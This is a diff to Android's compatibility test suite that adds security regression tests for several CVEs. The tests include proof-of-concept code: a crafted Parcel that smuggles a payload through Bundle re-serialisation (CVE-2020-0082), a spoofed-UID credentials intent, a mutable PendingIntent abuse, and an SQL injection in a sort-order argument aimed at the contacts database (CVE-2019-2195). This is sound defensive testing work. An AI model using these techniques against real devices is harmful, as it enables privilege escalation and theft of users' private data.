diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
index d54e41d..7965549 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
@@ -37,6 +37,7 @@
import android.os.FileUtils;
import android.os.ParcelFileDescriptor;
import android.os.storage.StorageManager;
+import android.platform.test.annotations.SecurityTest;
import android.provider.MediaStore;
import android.provider.MediaStore.Files.FileColumns;
import android.provider.MediaStore.Video.Media;
@@ -254,6 +255,7 @@
}
}
+ @SecurityTest
@Test
public void testIsoLocationRedaction() throws Exception {
// STOPSHIP: remove this once isolated storage is always enabled
diff --git a/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java b/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
index 7fb673e..16d595f 100644
--- a/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
+++ b/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
@@ -17,14 +17,17 @@
package android.provider.cts.settings;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
import android.content.ContentResolver;
import android.content.res.Configuration;
import android.database.Cursor;
import android.net.Uri;
import android.os.SystemClock;
+import android.platform.test.annotations.SecurityTest;
import android.provider.Settings;
import android.provider.Settings.SettingNotFoundException;
import android.provider.Settings.System;
@@ -41,6 +44,7 @@
public class Settings_SystemTest {
private static final String INT_FIELD = System.END_BUTTON_BEHAVIOR;
private static final String LONG_FIELD = System.SCREEN_OFF_TIMEOUT;
+ private static final String FLOAT_FIELD = System.FONT_SCALE;
private static final String STRING_FIELD = System.NEXT_ALARM_FORMATTED;
@BeforeClass
@@ -93,6 +97,7 @@
// insert 4 rows, and update 1 rows
assertTrue(System.putInt(cr, INT_FIELD, 2));
assertTrue(System.putLong(cr, LONG_FIELD, 20l));
+ assertTrue(System.putFloat(cr, FLOAT_FIELD, 1.3f));
assertTrue(System.putString(cr, STRING_FIELD, stringValue));
c = cr.query(System.CONTENT_URI, null, null, null, null);
@@ -102,6 +107,7 @@
// get these rows to assert
assertEquals(2, System.getInt(cr, INT_FIELD));
assertEquals(20l, System.getLong(cr, LONG_FIELD));
+ assertEquals(1.3f, System.getFloat(cr, FLOAT_FIELD), 0.001);
assertEquals(stringValue, System.getString(cr, STRING_FIELD));
c = cr.query(System.CONTENT_URI, null, null, null, null);
@@ -134,6 +140,38 @@
}
}
+ /**
+ * Verifies that the invalid values for the font scale setting are rejected.
+ */
+ @SecurityTest(minPatchLevel = "2021-02")
+ @Test
+ public void testSystemSettingsRejectInvalidFontSizeScale() throws SettingNotFoundException {
+ final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
+ // First put in a valid value
+ assertTrue(System.putFloat(cr, FLOAT_FIELD, 1.15f));
+ try {
+ assertFalse(System.putFloat(cr, FLOAT_FIELD, Float.MAX_VALUE));
+ fail("Should throw");
+ } catch (IllegalArgumentException e) {
+ }
+ try {
+ assertFalse(System.putFloat(cr, FLOAT_FIELD, -1f));
+ fail("Should throw");
+ } catch (IllegalArgumentException e) {
+ }
+ try {
+ assertFalse(System.putFloat(cr, FLOAT_FIELD, 0.1f));
+ fail("Should throw");
+ } catch (IllegalArgumentException e) {
+ }
+ try {
+ assertFalse(System.putFloat(cr, FLOAT_FIELD, 30.0f));
+ fail("Should throw");
+ } catch (IllegalArgumentException e) {
+ }
+ assertEquals(1.15f, System.getFloat(cr, FLOAT_FIELD), 0.001);
+ }
+
@Test
public void testGetDefaultValues() {
final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 18a1754..677222d 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -27,6 +27,7 @@
"compatibility-common-util-devicesidelib",
"guava",
"platform-test-annotations",
+ "hamcrest-library",
],
libs: [
"android.test.runner",
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index ad23b07..a8cf61a 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -102,6 +102,25 @@
<data android:mimeType="application/vnd.android.package-archive" />
</intent-filter>
</receiver>
+
+ <activity android:name="android.security.cts.CVE_2021_0339$FirstActivity"
+ android:label="TAT Anim1"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+
+ <activity android:name="android.security.cts.CVE_2021_0339$SecondActivity"
+ android:label="TAT Anim2"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/AndroidTest.xml b/tests/tests/security/AndroidTest.xml
index ad7fa33..a7d1ede 100644
--- a/tests/tests/security/AndroidTest.xml
+++ b/tests/tests/security/AndroidTest.xml
@@ -21,6 +21,7 @@
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsDeviceInfo.apk" />
<option name="test-file-name" value="CtsSecurityTestCases.apk" />
</target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.CrashReporter" />
diff --git a/tests/tests/security/OWNERS b/tests/tests/security/OWNERS
index d6bf090..5787345 100644
--- a/tests/tests/security/OWNERS
+++ b/tests/tests/security/OWNERS
@@ -4,3 +4,4 @@
nnk@google.com
mspector@google.com
manjaepark@google.com
+cdombroski@google.com
diff --git a/tests/tests/security/res/anim/translate1.xml b/tests/tests/security/res/anim/translate1.xml
new file mode 100644
index 0000000..da2ee56
--- /dev/null
+++ b/tests/tests/security/res/anim/translate1.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="utf-8"?>
+<translate
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:fromYDelta="0%"
+ android:toYDelta="-100%"
+ android:interpolator="@android:anim/linear_interpolator"
+ android:duration="10000" />
diff --git a/tests/tests/security/res/anim/translate2.xml b/tests/tests/security/res/anim/translate2.xml
new file mode 100644
index 0000000..d4bc6d9
--- /dev/null
+++ b/tests/tests/security/res/anim/translate2.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="utf-8"?>
+<translate
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:fromYDelta="100%"
+ android:toYDelta="0%"
+ android:interpolator="@android:anim/linear_interpolator"
+ android:duration="10000" />
diff --git a/tests/tests/security/res/raw/bug170240631_ts.mp4 b/tests/tests/security/res/raw/bug170240631_ts.mp4
new file mode 100644
index 0000000..9891dc6
--- /dev/null
+++ b/tests/tests/security/res/raw/bug170240631_ts.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_9474.mp4 b/tests/tests/security/res/raw/cve_2018_9474.mp4
new file mode 100644
index 0000000..3ff485a
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_9474.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14013.mp4 b/tests/tests/security/res/raw/cve_2019_14013.mp4
new file mode 100644
index 0000000..2328751
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14013.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2108_hevc.mp4 b/tests/tests/security/res/raw/cve_2019_2108_hevc.mp4
new file mode 100644
index 0000000..cb2df96
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2108_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2223_framelen.mp4 b/tests/tests/security/res/raw/cve_2019_2223_framelen.mp4
new file mode 100644
index 0000000..a1c3cfc
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2223_framelen.mp4
@@ -0,0 +1,5 @@
+29
+12
+9
+23
+73
diff --git a/tests/tests/security/res/raw/cve_2019_2223_hevc.mp4 b/tests/tests/security/res/raw/cve_2019_2223_hevc.mp4
new file mode 100644
index 0000000..f9d5dbc
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2223_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_11122.mkv b/tests/tests/security/res/raw/cve_2020_11122.mkv
new file mode 100644
index 0000000..f0fa08f
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_11122.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_11139.flac b/tests/tests/security/res/raw/cve_2020_11139.flac
new file mode 100644
index 0000000..3700ba9
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_11139.flac
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_11168.mkv b/tests/tests/security/res/raw/cve_2020_11168.mkv
new file mode 100644
index 0000000..58bf85e
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_11168.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3633.mp2 b/tests/tests/security/res/raw/cve_2020_3633.mp2
new file mode 100644
index 0000000..9c68044
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3633.mp2
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3658.mp4 b/tests/tests/security/res/raw/cve_2020_3658.mp4
new file mode 100644
index 0000000..a8ae316
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3658.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3660.mp4 b/tests/tests/security/res/raw/cve_2020_3660.mp4
new file mode 100644
index 0000000..9e0c1bf
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3660.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3661.mp4 b/tests/tests/security/res/raw/cve_2020_3661.mp4
new file mode 100644
index 0000000..e822179
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3661.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3662.mp4 b/tests/tests/security/res/raw/cve_2020_3662.mp4
new file mode 100644
index 0000000..4fd269e
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3662.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3663.mp4 b/tests/tests/security/res/raw/cve_2020_3663.mp4
new file mode 100644
index 0000000..54af26c
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3663.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3688.mp4 b/tests/tests/security/res/raw/cve_2020_3688.mp4
new file mode 100644
index 0000000..18ec0ad
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3688.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2021_0312.wav b/tests/tests/security/res/raw/cve_2021_0312.wav
new file mode 100644
index 0000000..aa144ec
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2021_0312.wav
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index 47730e1..59d965d 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -16,10 +16,13 @@
package android.security.cts;
import android.app.ActivityManager;
+import android.app.ApplicationExitInfo;
+import android.content.Context;
import android.os.IBinder;
import android.platform.test.annotations.SecurityTest;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
import junit.framework.TestCase;
import java.lang.reflect.InvocationTargetException;
@@ -76,4 +79,42 @@
assertNotNull("Expect SecurityException by attaching null application", securityException);
}
+
+ // b/166667403
+ @SecurityTest(minPatchLevel = "2021-01")
+ public void testActivityManager_appExitReasonPackageNames() {
+ final String mockPackage = "com.foo.bar";
+ final String realPackage = "com.android.compatibility.common.deviceinfo";
+ final Context context = InstrumentationRegistry.getTargetContext();
+ final ActivityManager am = context.getSystemService(ActivityManager.class);
+ try {
+ am.getHistoricalProcessExitReasons(mockPackage, 0, 0);
+ fail("Expecting SecurityException");
+ } catch (SecurityException e) {
+ // expected
+ }
+
+ final int totalLoops = 10000;
+ int mockPackagescores = 0;
+ final double tolerance = 0.2d;
+ for (int i = 0; i < totalLoops; i++) {
+ final long realPackageTiming = measureGetHistoricalProcessExitReasons(am, realPackage);
+ final long mockPackageTiming = measureGetHistoricalProcessExitReasons(am, mockPackage);
+ mockPackagescores += mockPackageTiming < realPackageTiming ? 1 : 0;
+ }
+
+ assertTrue(Math.abs((double) mockPackagescores / totalLoops - 0.5d) < tolerance);
+ }
+
+ /**
+ * Run ActivityManager.getHistoricalProcessExitReasons once, return the time spent on it.
+ */
+ private long measureGetHistoricalProcessExitReasons(ActivityManager am, String pkg) {
+ final long start = System.nanoTime();
+ try {
+ am.getHistoricalProcessExitReasons(pkg, 0, 0);
+ } catch (Exception e) {
+ }
+ return System.nanoTime() - start;
+ }
}
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index e7126ed..99b2ab7 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -37,6 +37,145 @@
public class AmbiguousBundlesTest extends AndroidTestCase {
+ /**
+ * b/140417434
+ * Vulnerability Behaviour: Failure via Exception
+ */
+ @SecurityTest(minPatchLevel = "2020-04")
+ public void test_android_CVE_2020_0082() throws Exception {
+
+ Ambiguator ambiguator = new Ambiguator() {
+
+ private static final int VAL_STRING = 0;
+ private static final int VAL_PARCELABLEARRAY = 16;
+ private static final int LENGTH_PARCELABLEARRAY = 4;
+ private Parcel mContextBinder;
+ private int mContextBinderSize;
+ private static final int BINDER_TYPE_HANDLE = 0x73682a85;
+ private static final int PAYLOAD_DATA_LENGTH = 54;
+
+ {
+ mContextBinder = Parcel.obtain();
+ mContextBinder.writeInt(BINDER_TYPE_HANDLE);
+ for (int i = 0; i < 20; i++) {
+ mContextBinder.writeInt(0);
+ }
+ mContextBinder.setDataPosition(0);
+ mContextBinder.readStrongBinder();
+ mContextBinderSize = mContextBinder.dataPosition();
+ }
+
+ private String fillString(int length) {
+ return new String(new char[length]).replace('\0', 'A');
+ }
+
+
+ private String stringForInts(int... values) {
+ Parcel p = Parcel.obtain();
+ p.writeInt(2 * values.length);
+ for (int value : values) {
+ p.writeInt(value);
+ }
+ p.writeInt(0);
+ p.setDataPosition(0);
+ String s = p.readString();
+ p.recycle();
+ return s;
+ }
+
+ private void writeContextBinder(Parcel parcel) {
+ parcel.appendFrom(mContextBinder, 0, mContextBinderSize);
+ }
+
+ @Override
+ public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+ // Find key that has hash below everything else
+ Random random = new Random(1234);
+ int minHash = 0;
+ for (String s : preReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+ for (String s : postReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+
+ String key, key2;
+ int keyHash, key2Hash;
+
+ do {
+ key = randomString(random);
+ keyHash = key.hashCode();
+ } while (keyHash >= minHash);
+
+ do {
+ key2 = randomString(random);
+ key2Hash = key2.hashCode();
+ } while (key2Hash >= minHash || keyHash == key2Hash);
+
+ if (keyHash > key2Hash) {
+ String tmp = key;
+ key = key2;
+ key2 = tmp;
+ }
+
+ // Pad bundles
+ padBundle(postReSerialize, preReSerialize.size(), minHash, random);
+ padBundle(preReSerialize, postReSerialize.size(), minHash, random);
+
+ // Write bundle
+ Parcel parcel = Parcel.obtain();
+
+ int sizePosition = parcel.dataPosition();
+ parcel.writeInt(0);
+ parcel.writeInt(BUNDLE_MAGIC);
+ int startPosition = parcel.dataPosition();
+ parcel.writeInt(preReSerialize.size() + 2);
+
+ parcel.writeString(key);
+ parcel.writeInt(VAL_PARCELABLEARRAY);
+ parcel.writeInt(LENGTH_PARCELABLEARRAY);
+ parcel.writeString("android.os.ExternalVibration");
+ parcel.writeInt(0);
+ parcel.writeString(null);
+ parcel.writeInt(0);
+ parcel.writeInt(0);
+ parcel.writeInt(0);
+ parcel.writeInt(0);
+ writeContextBinder(parcel);
+ writeContextBinder(parcel);
+
+ parcel.writeString(null);
+ parcel.writeString(null);
+ parcel.writeString(null);
+
+ // Payload
+ parcel.writeString(key2);
+ parcel.writeInt(VAL_OBJECTARRAY);
+ parcel.writeInt(2);
+ parcel.writeInt(VAL_STRING);
+ parcel.writeString(
+ fillString(PAYLOAD_DATA_LENGTH) + stringForInts(VAL_INTARRAY, 5));
+ parcel.writeInt(VAL_BUNDLE);
+ parcel.writeBundle(postReSerialize);
+
+ // Data from preReSerialize bundle
+ writeBundleSkippingHeaders(parcel, preReSerialize);
+
+ // Fix up bundle size
+ int bundleDataSize = parcel.dataPosition() - startPosition;
+ parcel.setDataPosition(sizePosition);
+ parcel.writeInt(bundleDataSize);
+
+ parcel.setDataPosition(0);
+ Bundle bundle = parcel.readBundle();
+ parcel.recycle();
+ return bundle;
+ }
+ };
+
+ testAmbiguator(ambiguator);
+ }
+
/*
* b/71992105
*/
diff --git a/tests/tests/security/src/android/security/cts/CVE_2020_0294.java b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
new file mode 100644
index 0000000..0a533bb
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.app.ActivityManager;
+import android.app.Instrumentation;
+import android.app.PendingIntent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.platform.test.annotations.SecurityTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+import static org.junit.Assume.*;
+
+@SecurityTest
+@RunWith(AndroidJUnit4.class)
+public class CVE_2020_0294 {
+ private static final String TAG = "CVE_2020_0294";
+
+ /**
+ * b/170661753
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-12")
+ public void testPocCVE_2020_0294() throws Exception {
+ Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+ ActivityManager activityManager = (ActivityManager) instrumentation.getContext()
+ .getSystemService(Context.ACTIVITY_SERVICE);
+ Context targetContext = instrumentation.getTargetContext();
+ ComponentName componentName =
+ ComponentName.unflattenFromString("com.android.systemui/.ImageWallpaper");
+ PendingIntent pi = activityManager.getRunningServiceControlPanel(componentName);
+ assumeNotNull(pi);
+
+ Intent spuriousIntent = new Intent();
+ spuriousIntent.setPackage(targetContext.getPackageName());
+ spuriousIntent.setDataAndType(
+ Uri.parse("content://com.android.settings.files/my_cache/NOTICE.html"), "txt/html");
+ spuriousIntent.setFlags(
+ Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION);
+ try {
+ pi.send(targetContext, 0, spuriousIntent, null, null);
+ } catch (PendingIntent.CanceledException e) {
+ //This means PendingIntent has failed as its mutable
+ fail("PendingIntent from WallpaperManagerService is mutable");
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
new file mode 100644
index 0000000..3f39a0e
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.GrantCredentialsPermissionActivity;
+import android.accounts.IAccountAuthenticatorResponse;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.RemoteException;
+import android.platform.test.annotations.SecurityTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0309 {
+ private final Context mContext = InstrumentationRegistry.getContext();
+ boolean isVulnerable = true;
+
+ /**
+ * b/159145361
+ */
+ @SecurityTest(minPatchLevel = "2021-01")
+ @Test
+ public void testPocCVE_2021_0309() {
+ /**
+ * Output of adb shell pm list packages --user 0 -U com.android.providers.media
+ * package:com.android.providers.media uid:10008
+ */
+ final int REQUESTED_UID = 10008;
+ Intent intent = new Intent();
+ intent.setClassName("android",
+ "android.accounts.GrantCredentialsPermissionActivity");
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(GrantCredentialsPermissionActivity.EXTRAS_ACCOUNT,
+ new Account("abc@xyz.org", "com.my.auth"));
+ intent.putExtra(GrantCredentialsPermissionActivity.EXTRAS_AUTH_TOKEN_TYPE,
+ AccountManager.ACCOUNT_ACCESS_TOKEN_TYPE);
+ intent.putExtra(GrantCredentialsPermissionActivity.EXTRAS_RESPONSE,
+ new AccountAuthenticatorResponse(new IAccountAuthenticatorResponse.Stub() {
+ @Override
+ public void onResult(Bundle value) throws RemoteException {
+ }
+
+ @Override
+ public void onRequestContinued() {
+ }
+
+ @Override
+ public void onError(int errorCode, String errorMessage) throws RemoteException {
+ /**
+ * GrantCredentialsPermissionActivity's onCreate() should not execute and
+ * should return error when the requested UID does not match the process's UID
+ */
+ isVulnerable = false;
+ }
+ }));
+
+ intent.putExtra(GrantCredentialsPermissionActivity.EXTRAS_REQUESTING_UID,
+ REQUESTED_UID);
+ mContext.startActivity(intent);
+ /**
+ * Sleep for 5 seconds to ensure that the AccountAuthenticatorResponse callback gets
+ * triggered if vulnerability is fixed.
+ */
+ try {
+ Thread.sleep(5000);
+ } catch (Exception e) {
+ }
+ assertFalse(isVulnerable);
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
new file mode 100644
index 0000000..5ace5df
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertThat;
+import static org.hamcrest.Matchers.lessThan;
+
+import android.test.AndroidTestCase;
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.platform.test.annotations.SecurityTest;
+import android.os.SystemClock;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import android.util.Log;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SecurityTest
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0339 {
+
+ static final String TAG = CVE_2021_0339.class.getSimpleName();
+ private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+ static final int MAX_TRANSITION_DURATION_MS = 3000; // internal max
+ static final int TIME_MEASUREMENT_DELAY_MS = 5000; // tolerance for lag.
+ public static boolean testCompleted;
+
+ public FirstActivity fActivity;
+ public SecondActivity sActivity;
+
+ private void launchActivity(Class<? extends Activity> clazz) {
+ final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ final Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setClassName(SECURITY_CTS_PACKAGE_NAME, clazz.getName());
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ }
+
+ /**
+ * b/175817167
+ */
+ @Test
+ @SecurityTest
+ public void testPocCVE_2021_0339() throws Exception {
+
+ Log.d(TAG, "test start");
+ testCompleted = false;
+ launchActivity(FirstActivity.class);
+
+ //wait for SecondActivity animation to complete
+ synchronized(CVE_2021_0339.class){
+ if(!testCompleted)
+ CVE_2021_0339.class.wait();
+ }
+ Log.d(TAG, "test completed");
+
+ //A duration of a transition from "FirstActivity" to "Second Activity"
+ //is set in this test to 10 seconds
+ // (res/anim/translate1.xml and res/anim/translate2.xml)
+ //The fix is supposed to limit the duration to 3000 ms.
+ // testing for > 8s
+ assertThat(SecondActivity.duration,
+ lessThan(MAX_TRANSITION_DURATION_MS + TIME_MEASUREMENT_DELAY_MS));
+ }
+
+ public static class FirstActivity extends Activity {
+
+ @Override
+ public void onEnterAnimationComplete() {
+ super.onEnterAnimationComplete();
+ Intent intent = new Intent(this, SecondActivity.class);
+ intent.putExtra("STARTED_TIMESTAMP", SystemClock.uptimeMillis());
+ startActivity(intent);
+ overridePendingTransition(R.anim.translate2,R.anim.translate1);
+ Log.d(TAG,this.getLocalClassName()+" onEnterAnimationComplete()");
+ }
+ }
+
+ public static class SecondActivity extends Activity{
+ public static int duration = 0;
+
+ @Override
+ public void onEnterAnimationComplete() {
+ super.onEnterAnimationComplete();
+ long completedTs = SystemClock.uptimeMillis();
+ long startedTs = getIntent().getLongExtra("STARTED_TIMESTAMP", 0);
+ duration = (int)(completedTs - startedTs);
+ Log.d(TAG, this.getLocalClassName()
+ + " onEnterAnimationComplete() duration=" + Long.toString(duration));
+
+ //Notify main thread that the test is completed
+ synchronized(CVE_2021_0339.class){
+ CVE_2021_0339.testCompleted = true;
+ CVE_2021_0339.class.notifyAll();
+ }
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/SQLiteTest.java b/tests/tests/security/src/android/security/cts/SQLiteTest.java
new file mode 100644
index 0000000..47407ca
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/SQLiteTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.content.Context;
+import android.content.ContentResolver;
+import android.content.Intent;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.net.Uri;
+import android.platform.test.annotations.SecurityTest;
+import android.provider.VoicemailContract;
+import android.test.AndroidTestCase;
+import androidx.test.InstrumentationRegistry;
+import static org.junit.Assert.*;
+
+@SecurityTest
+public class SQLiteTest extends AndroidTestCase {
+
+ private ContentResolver mResolver;
+ private String mPackageName;
+ private Context mContext;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mResolver = getContext().getContentResolver();
+ mContext = InstrumentationRegistry.getTargetContext();
+ mPackageName = mContext.getPackageName();
+ }
+
+ /**
+ * b/139186193
+ */
+ @SecurityTest(minPatchLevel = "2019-11")
+ public void test_android_cve_2019_2195() {
+ Uri uri = VoicemailContract.Voicemails.CONTENT_URI;
+ uri = uri.buildUpon().appendQueryParameter("source_package", mPackageName).build();
+
+ try {
+ mContext.grantUriPermission(mPackageName, uri,
+ Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION
+ | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION);
+ } catch (Exception e) {
+ if (e instanceof java.lang.SecurityException) {
+ // this suggests com.android.providers.contacts.VoicemailContentProvider
+ // does not allow granting of Uri permissions, hence return.
+ return;
+ }
+ }
+
+ try {
+ String fileToDump = mContext.createPackageContext("com.android.providers.contacts", 0)
+ .getDatabasePath("contacts2.db").getAbsolutePath();
+ try {
+ mResolver.query(uri, null, null, null,
+ "_id ASC LIMIT _TOKENIZE('calls(_data,_data,_data,source_package,type) VALUES(''"
+ + fileToDump + "'',?,?,''" + mPackageName + "'',4);',0,'','Z')")
+ .close();
+ fail("Vulnerable function exists");
+ } catch (android.database.sqlite.SQLiteException e) {
+ // do nothing
+ }
+ } catch (NameNotFoundException n) {
+ // do nothing
+ }
+ }
+}
